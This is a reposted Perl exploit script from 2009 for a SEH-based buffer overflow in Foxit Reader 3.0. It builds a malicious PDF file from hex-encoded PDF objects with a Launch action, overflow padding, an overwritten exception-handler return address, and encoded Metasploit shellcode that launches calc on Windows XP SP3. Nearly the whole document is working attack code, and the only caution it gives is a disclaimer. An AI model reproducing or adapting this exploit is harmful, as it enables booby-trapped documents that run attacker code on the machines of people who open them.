>Foxit Reader 3.0 (<= Build 1301) PDF Buffer Overflow Exploit

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>Foxit Reader 3.0 (<= Build 1301) PDF Buffer Overflow Exploit

来源：skdrat@hotmail.com 作者：SkD 发布时间：2009-03-12

#!/usr/bin/perl
#
# Foxit Reader 3.0 (<= Build 1301) PDF Buffer Overflow Exploit
# ------------------------------------------------------------
# Exploit by SkD                          (skdrat@hotmail.com)
#
# A SEH overflow occurs in this vulnerability in the popular
# Foxit Reader. The latest build (1506) is not affected but
# previous are. SafeSEH is a bitch in this one, but nothing
# is impossible :).
#
# Exploit written for Windows XP SP3.
#
# Credits to CORE Sec.
#
# Note: Author is not responsible for any damage done with this.

use strict;
use warnings;

my $pdf_data1 = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0D\x0A\x25\xA1\xB3\xC5\xD7\x0D\x0A\x31\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70".
        "\x65\x2F\x50\x61\x67\x65\x2F\x50\x61\x72\x65\x6E\x74\x20\x34\x20\x30\x20\x52\x20\x2F\x52\x65\x73\x6F\x75\x72\x63\x65\x73\x20\x36".
        "\x20\x30\x20\x52\x20\x2F\x4D\x65\x64\x69\x61\x42\x6F\x78\x5B\x20\x30\x20\x30\x20\x35\x39\x35\x20\x38\x34\x32\x5D\x2F\x47\x72\x6F".
        "\x75\x70\x3C\x3C\x2F\x53\x2F\x54\x72\x61\x6E\x73\x70\x61\x72\x65\x6E\x63\x79\x2F\x43\x53\x2F\x44\x65\x76\x69\x63\x65\x52\x47\x42".
        "\x2F\x49\x20\x74\x72\x75\x65\x3E\x3E\x2F\x43\x6F\x6E\x74\x65\x6E\x74\x73\x20\x32\x20\x30\x20\x52\x20\x2F\x41\x6E\x6E\x6F\x74\x73".
        "\x5B\x20\x39\x20\x30\x20\x52\x20\x20\x32\x34\x20\x30\x20\x52\x20\x20\x32\x35\x20\x30\x20\x52\x20\x5D\x3E\x3E\x0D\x0A\x65\x6E\x64".
        "\x6F\x62\x6A\x0D\x0A\x32\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x4C\x65\x6E\x67\x74\x68\x20\x33\x20\x30\x20\x52\x20\x2F\x46".
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        "\x79\x20\x46\x6F\x78\x69\x74\x20\x52\x65\x61\x64\x65\x72\x5C\x72\x43\x6F\x70\x79\x72\x69\x67\x68\x74\x5C\x28\x43\x5C\x29\x20\x62".
        "\x79\x20\x46\x6F\x78\x69\x74\x20\x53\x6F\x66\x74\x77\x61\x72\x65\x20\x43\x6F\x6D\x70\x61\x6E\x79\x2C\x32\x30\x30\x35\x2D\x32\x30".
        "\x30\x38\x5C\x72\x46\x6F\x72\x20\x45\x76\x61\x6C\x75\x61\x74\x69\x6F\x6E\x20\x4F\x6E\x6C\x79\x2E\x5C\x72\x29\x2F\x43\x68\x61\x72".
        "\x43\x6F\x6C\x6F\x72\x20\x32\x35\x35\x2F\x43\x68\x61\x72\x53\x70\x61\x63\x65\x20\x30\x2F\x4C\x69\x6E\x65\x46\x65\x65\x64\x20\x30".
        "\x2F\x48\x6F\x72\x7A\x53\x63\x61\x6C\x65\x20\x31\x30\x30\x2F\x4F\x72\x69\x67\x69\x6E\x58\x20\x32\x38\x35\x2F\x4F\x72\x69\x67\x69".
        "\x6E\x59\x20\x38\x31\x36\x2F\x62\x43\x68\x61\x6E\x67\x65\x42\x6F\x78\x20\x30\x2F\x42\x6F\x78\x57\x69\x64\x74\x68\x20\x32\x35\x36".
        "\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x32\x32\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x4D\x79\x46\x6F\x6E\x74\x20".
        "\x31\x38\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x32\x31\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F".
        "\x46\x6F\x6E\x74\x20\x32\x32\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x32\x30\x20\x30\x20\x6F\x62\x6A".
        "\x0D\x0A\x3C\x3C\x2F\x4C\x65\x6E\x67\x74\x68\x20\x31\x36\x38\x2F\x53\x75\x62\x74\x79\x70\x65\x2F\x46\x6F\x72\x6D\x2F\x42\x42\x6F".
        "\x78\x5B\x20\x32\x38\x35\x20\x37\x39\x34\x20\x35\x34\x31\x20\x38\x32\x37\x5D\x2F\x52\x65\x73\x6F\x75\x72\x63\x65\x73\x20\x32\x31".
        "\x20\x30\x20\x52\x20\x2F\x46\x69\x6C\x74\x65\x72\x2F\x46\x6C\x61\x74\x65\x44\x65\x63\x6F\x64\x65\x3E\x3E\x73\x74\x72\x65\x61\x6D".
        "\x0D\x0A\x78\x9C\x95\x8D\xCD\x0E\x82\x30\x10\x84\xEF\x7D\x8A\x3D\x42\xA2\xD8\x16\x88\x78\x15\xE1\x66\x4C\xB4\x2F\x50\x43\xC1\x1A".
        "\xE8\x92\xA6\xFE\xF4\xED\x25\x24\x28\x89\x27\xF6\x30\x99\x99\x6C\xBE\xD9\x0B\xB2\x39\xFA\x12\x8D\x03\xC6\x40\xD4\x84\x45\x74\x3C".
        "\xA0\x7F\xC6\x36\x84\xC1\x90\x81\x01\xCF\xD2\xA9\xDD\xEE\x92\xC9\x8A\x8E\x7C\x9F\x79\x12\xC5\x9C\x51\x3A\x40\x0F\x24\x28\x2A\xED".
        "\x54\x05\x57\x0F\x25\xBE\xB5\x83\xB3\x92\x95\xB2\x21\x88\xFB\x02\x24\x8B\xE7\xC8\x1C\x7B\x6F\x75\x73\x73\x41\x1E\xFE\xC0\x17\xAC".
        "\xDD\x4B\x5A\x05\x39\x76\xBD\x34\x7E\xC5\x29\x4D\xD7\x83\x64\x0B\xC7\xF8\x7C\xAB\x44\x0B\xC5\x53\xB6\x0F\xE9\x34\x1A\x38\x99\xD6".
        "\x47\x23\xAF\x10\xE4\x03\x4A\x14\x4C\x32\x0D\x0A\x65\x6E\x64\x73\x74\x72\x65\x61\x6D\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31".
        "\x39\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x4E\x20\x32\x30\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D".
        "\x0A\x31\x38\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x46\x6F\x6E\x74\x2F\x53\x75\x62\x74\x79\x70\x65\x2F".
        "\x54\x79\x70\x65\x31\x2F\x42\x61\x73\x65\x46\x6F\x6E\x74\x2F\x48\x65\x6C\x76\x65\x74\x69\x63\x61\x2F\x45\x6E\x63\x6F\x64\x69\x6E".
        "\x67\x2F\x57\x69\x6E\x41\x6E\x73\x69\x45\x6E\x63\x6F\x64\x69\x6E\x67\x2F\x46\x78\x54\x61\x67\x20\x31\x3E\x3E\x0D\x0A\x65\x6E\x64".
        "\x6F\x62\x6A\x0D\x0A\x31\x37\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x50\x56\x20\x31\x36\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A".
        "\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31\x36\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x41\x63\x74\x69\x6F\x6E".
        "\x2F\x53\x2F\x4C\x61\x75\x6E\x63\x68\x2F\x46\x3C\x3C\x2F\x46\x28\x2F\x43\x2F";
my $pdf_data2 = "\x29\x3E\x3E\x2F\x4E\x65\x77\x57\x69\x6E\x64\x6F\x77\x20\x74\x72\x75\x65\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x78\x72".
        "\x65\x66\x0D\x0A\x30\x20\x32\x36\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x20\x36\x35\x35\x33\x36\x20\x66\x0D\x0A\x30\x30".
        "\x30\x30\x30\x30\x30\x30\x31\x37\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x31\x39\x37\x20\x30\x30\x30".
        "\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x33\x31\x34\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30".
        "\x30\x33\x33\x36\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x34\x33\x32\x20\x30\x30\x30\x30\x30\x20\x6E".
        "\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x34\x36\x38\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x35\x32\x32".
        "\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x36\x31\x39\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30".
        "\x30\x30\x30\x30\x31\x33\x37\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x31\x31\x34\x37\x20\x30\x30\x30".
        "\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x31\x30\x38\x38\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30".
        "\x31\x30\x31\x35\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x39\x36\x32\x20\x30\x30\x30\x30\x30\x20\x6E".
        "\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x38\x37\x32\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x38\x31\x33".
        "\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x32\x39\x38\x34\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30".
        "\x30\x30\x30\x30\x32\x39\x34\x39\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x32\x38\x34\x39\x20\x30\x30\x30".
        "\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x32\x38\x31\x35\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30".
        "\x32\x35\x32\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x32\x34\x38\x33\x20\x30\x30\x30\x30\x30\x20\x6E".
        "\x0D\x0A\x30\x30\x30\x30\x30\x30\x32\x34\x34\x34\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x32\x31\x30\x32".
        "\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x31\x37\x36\x36\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30".
        "\x30\x30\x30\x30\x31\x36\x33\x35\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x74\x72\x61\x69\x6C\x65\x72\x0D\x0A\x3C\x3C\x2F\x52\x6F".
        "\x6F\x74\x20\x37\x20\x30\x20\x52\x20\x2F\x49\x6E\x66\x6F\x20\x38\x20\x30\x20\x52\x20\x2F\x49\x44\x5B\x28\xDF\xB0\x2B\xEC\xF3\x6B".
        "\xFA\x01\x9C\xBC\x4B\x06\x11\x7C\x78\x79\x29\x28\xDF\xB0\x2B\xEC\xF3\x6B\xFA\x01\x9C\xBC\x4B\x06\x11\x7C\x78\x79\x29\x5D\x2F\x44".
        "\x6F\x63\x43\x68\x65\x63\x6B\x73\x75\x6D\x2F\x37\x36\x33\x36\x30\x32\x39\x46\x42\x32\x42\x32\x46\x44\x32\x39\x42\x43\x33\x34\x41".
        "\x42\x43\x33\x32\x43\x46\x34\x35\x42\x38\x46\x2F\x53\x69\x7A\x65\x20\x32\x36\x3E\x3E\x0D\x0A\x73\x74\x61\x72\x74\x78\x72\x65\x66".
        "\x0D\x0A\x38\x30\x35\x37\x0D\x0A\x25\x25\x45\x4F\x46\x0D\x0A";

# win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x30\x42\x50\x4b\x58\x45\x44\x4e\x43\x4b\x58\x4e\x37".
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x58".
"\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x44\x4b\x38\x46\x53\x4b\x58".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x37\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54".
"\x4b\x48\x4f\x55\x4e\x41\x41\x50\x4b\x4e\x4b\x48\x4e\x31\x4b\x38".
"\x41\x30\x4b\x4e\x49\x58\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x58\x42\x44\x42\x33\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x48\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x48\x42\x4b".
"\x42\x30\x42\x30\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x35\x41\x43".
"\x48\x4f\x42\x36\x48\x45\x49\x58\x4a\x4f\x43\x48\x42\x4c\x4b\x37".
"\x42\x55\x4a\x36\x50\x37\x4a\x4d\x44\x4e\x43\x47\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x36".
"\x4e\x56\x43\x36\x42\x50\x5a";

my $overflow1 = "\x41" x 1346;
my $overflow2 = "\x41" x (4096 - (length($shellcode) + 255));
my $overflow3 = "\x41" x 255;
my $sehjmp = "SkD"; # ;)
my $sehret = "\x64\xee\x1f\x02";     # 0x021fee64 - damn you SafeSEH

open (my $pdf, "> s.pdf");
binmode $pdf;
print $pdf $pdf_data1.
           $overflow1.$sehjmp.$sehret.$overflow2.$shellcode.$overflow3.
           $pdf_data2;
close $pdf;

[